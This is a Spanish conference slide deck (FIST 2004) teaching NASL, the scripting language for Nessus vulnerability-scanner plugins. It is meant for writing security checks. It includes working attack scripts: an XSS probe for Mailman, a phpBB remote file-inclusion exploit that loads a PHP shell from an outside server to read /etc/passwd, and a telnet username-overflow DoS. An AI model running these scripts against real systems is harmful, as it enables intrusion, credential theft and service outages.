Este documento presenta tres resúmenes de un documento sobre el lenguaje NASL y su uso para desarrollar scripts de escaneo de vulnerabilidades para Nessus:
1) NASL es un lenguaje de scripting diseñado para ampliar las capacidades del escáner de vulnerabilidades Nessus mediante la creación de scripts personalizados; 2) El documento explica la sintaxis y funcionalidad de NASL, incluidas las funciones para sockets, protocolos, criptografía e integración con Nessus; 3) Se proporcionan ejemplos detall
1. FIST Conference Abril 2004
NASL
lenguaje de desarrollo de exploits
Rafael San Miguel Carrasco
2. FIST Conference Abril 2004
Tareas típicas del exploit dev :
• escribir las cabeceras de un datagrama IP
• implementar un diálogo HTTP
• capturar y procesar paquetes en modo
promiscuo
• existencia de un fichero en un servidor
• comprobación de desbordamientos
3. FIST Conference Abril 2004
Contenido:
1) NASL, Nessus, Knowledge Base
2) Sintaxis del lenguaje NASL
3) Librería de funciones
4) Ejemplos de programación
5) Consideraciones finales
4. FIST Conference Abril 2004
Nessus:
• Escáner de vulnerabilidades
• Libre distribución
• Entornos UNIX
• www.nessus.org
• Para ampliar su capacidad: NASL
NASL = Nessus Attack Scripting Language
12. FIST Conference Abril 2004
Intérprete NASL:
• nasl –t 192.168.0.128 script.nasl
• previamente lanzamos nessusd
• sólo direcciones IP permitidas
• políticas: nessusd.rules y nessusd.users
13. FIST Conference Abril 2004
Intérprete NASL:
• nasl –t 192.168.0.128 script.nasl
• previamente lanzamos nessusd
• sólo direcciones IP permitidas
• políticas: nessusd.rules y nessusd.users
14. FIST Conference Abril 2004
plugin malicioso:
nessus
script malicioso
nessusd host host host
nessus
nessus
reporte de vulnerabilidad
atacante
15. FIST Conference Abril 2004
Otra restricción:
• NASL no permite la ejecución de comandos
locales
• No puede utilizarse para escribir exploits
de ámbito local
16. FIST Conference Abril 2004
Knowledge Base:
• base de datos para cada host
• datos relevantes para los scripts
• set_kb_item ()
• get_kb_item ()
17. FIST Conference Abril 2004
Atributos de la clase Services:
• Services/www
• Services/ftp
• Services/http_proxy
• Services/imap
• ...
18. FIST Conference Abril 2004
Atributos de la clase Host:
• Host/OS
• Host/dead
• modificado por scripts de ataques DoS
19. FIST Conference Abril 2004
Otros atributos:
• ftp/anonymous
• www/frontpage
• rpc/bootparamd
• bind/version
• ftp/root_via_cwd
• ...
20. FIST Conference Abril 2004
Sintaxis: estructuras de control
• if (condición) { instr.} else { instr. }
• for (inic; condición; instr) { instr. }
• while (condición) { instr. }
• foreach elemento (array) { instr. }
• repeat { instr. } until (condición);
• operador x:
• send_packet (udp) x 30
21. FIST Conference Abril 2004
Sintaxis: tipos de datos
• No se manejan explícitamente (Perl)
• Asignaciones:
• a = 100;
• nombre = “Rafael”;
• bytes = raw_string (0x41, 0x01, 0xFF);
• ¡No hay estructuras de datos!
22. FIST Conference Abril 2004
Sintaxis: arrays
• a [1] = 450;
• b = “cadena”;
• if (b [2] == “a”)
• if (a [1] == 450)
• Caso 1 : b [2] = “o”;
• Caso 2 : b = insstr (b, “o”, 1, 1);
23. FIST Conference Abril 2004
Sintaxis: funciones
• posibilidad de definir funciones
• existen limitaciones en la llamada a las
funciones definidas por el programador
• sintaxis:
function suma (a, b)
{ instr.
return (valor);
}
24. FIST Conference Abril 2004
Sintaxis: funciones no anónimas
• no importa el orden y número de argumentos
especificados en la llamada
• debe indicarse el nombre de los argumentos:
send (data: “hola”, socket: s);
• si faltan datos: se solicitan en tiempo de
ejecución
25. FIST Conference Abril 2004
Librería de funciones: clasificación
• manipulación de cadenas
• sockets
• raw sockets
• protocolos http, ftp, telnet
• funciones criptográficas
• funciones “vínculo” con Nessus
26. FIST Conference Abril 2004
Funciones: manipulación de cadenas
• operadores ==, <, >
• operador ><
• if (“Access denied” >< respuesta)
• ereg () y egrep () para pattern matching
• crap : para testear desbordamientos
• crap (length: 1000, data: “bla”);
27. FIST Conference Abril 2004
Funciones: sockets
• send (), recv () sin dirección IP destino
• recv_line (socket: s, length: 100, timeout: 5);
• get_port_state (port)
• tcp_ping ()
• open_priv_sock_udp (srcport, dstport)
• flag MSG_OOB en send () ¿Por qué?
33. FIST Conference Abril 2004
Ejemplo: XSS en Mailman
Pasos:
• comprobar la existencia del script
vulnerable
• enviar petición GET con código
HTML/Javascript
• comprobar respuesta del servidor
34. FIST Conference Abril 2004
Ejemplo: XSS en Mailman
puerto = 80;
cadena = "<script>alert(document.domain)</script>";
url = "/cgi-bin/listinfo";
display ("nMailman XSS bug testn--------------------n");
if (is_cgi_installed (url, puerto) ) {
display ("info: listinfo existe en la version de mailman instaladan");
socket = open_sock_tcp (puerto);
peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto);
rsend = send (socket : socket, data : peticion);
rrecv = recv (socket : socket, length : 32000);
close(socket);
35. FIST Conference Abril 2004
Ejemplo: XSS en Mailman
if (cadena >< rrecv)
{
display ("info: esta version de mailman es vulnerable a XSSnn");
} else {
display ("info: version NO vulnerable de mailmannn");
}
return (0);
}
display ("mailman no esta instalado en el servidornn");
37. FIST Conference Abril 2004
Ejemplo: XSS en Mailman
Integración con Nessus:
• bloque if : registro en nessusd
if(description)
{
script_name(english:"Mailman XSS bug test");
script_description(english:"Comprobación del fallo de XSS en Mailman");
script_summary(english:“Petición GET con código HTML/JavaScript");
script_category(ACT_ATTACK); script_family(english:"Misc.");
script_copyright(english:"Rafael San Miguel Carrasco");
exit(0);
}
38. FIST Conference Abril 2004
Ejemplo: XSS en Mailman
Integración con Nessus:
• notificación a Nessus
if (cadena >< rrecv)
{
report = “Mailman es vulnerable a XSS";
security_hole (port: 80, data:report);
}
• copiamos el .nasl /usr/lib/nessus/plugins
• relanzamos nessusd
39. FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBB
• servidor web propio
• shell PHP de www.planet-source-code.com
<php passthru (‘cat /etc/passwd’) ?>
40. FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBB
Pasos:
• comprobar la existencia del PHP
vulnerable
• enviar petición GET con parámetros
adecuados
• verificar que en la respuesta del servidor
aparece la cadena “root”
41. FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBB
puerto = 80;
cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php";
url = "/album_portal.php";
display ("nphpBB Modified Insertion Bug Testn---------------------------n");
if (is_cgi_installed (url, puerto) ) {
display ("info: phpBB esta instalado en el servidor n");
socket = open_sock_tcp (puerto);
peticion = http_get (item : url + "?" + cadena, port : puerto);
rsend = send (socket : socket, data : peticion);
rrecv = recv (socket : socket, length : 32000);
close(socket);
42. FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBB
if ("root" >< rrecv)
{
display ("info: se ha conseguido el fichero /etc/passwd del servidorn");
# pattern matching
display (egrep (pattern: "^root*", string: rrecv) );
display ("nn");
} else {
display ("info: la version no es vulnerablenn");
}
return (0);
}
44. FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBB
Integración con Nessus:
• bloque if de registro en nessusd
• llamada a security_hole () si el ataque
tiene éxito
• copiamos el .nasl /usr/lib/nessus/plugins
• relanzamos nessusd
45. FIST Conference Abril 2004
Ejemplo: teardrop
• ataque DoS que afecta a los stacks
TCP/IP de algunos sistemas operativos
• fallo en el algoritmo de ensamblado
• implementación del exploit:
• datagrama UDP 1:
• payload N bytes, offset 0, MF on
• datagrama UDP 2:
• payload < N, offset < N, MF off
48. FIST Conference Abril 2004
Ejemplo: overflow en BFTelnet
• nombre de usuario muy largo
• provoca la caída del servicio telnet
• fallo típico de muchos otros servidores
(ftp, pop3, ...)
49. FIST Conference Abril 2004
Ejemplo: overflow en BFTelnet
port = get_kb_item ("Services/telnet");
if (!port) port = 23;
if (get_port_state(port)) {
soc = open_sock_tcp(port);
if (soc) {
banner = telnet_init(soc);
banner = string(banner, recv(socket:soc, length:1000));
data = string(crap(4000), "rn");
send(socket:soc, data:data);
close(soc);
soc2 = open_sock_tcp(port);
if(!soc2)
security_warning(port);
}
}
50. FIST Conference Abril 2004
Ejemplo: ftp bouncing
• comando PORT para conexión de datos
(protocolo FTP)
• posibilidad de iniciar una conexión con
host arbitrario
• utilidad:
• port scanning
• bypass de las reglas de un firewall
52. FIST Conference Abril 2004
Consideraciones finales:
• soporte multilenguaje
name["english"] = "BFTelnet DoS";
name["francais"]= "Déni de service contre BFTelnet";
script_name(english:name["english"],
francais:name["francais"]);
• forking automático y transparente
ejemplo: dos puertos telnet
53. FIST Conference Abril 2004
Detección de WAPs con NASL:
www.tenablesecurity.com/white_papers/wap-id-nessus.pdf
Más información sobre NASL y Nessus:
www.nessus.org/documentation.html
Estas transparencias:
www.soluciones-seguras.com
www.fistconference.org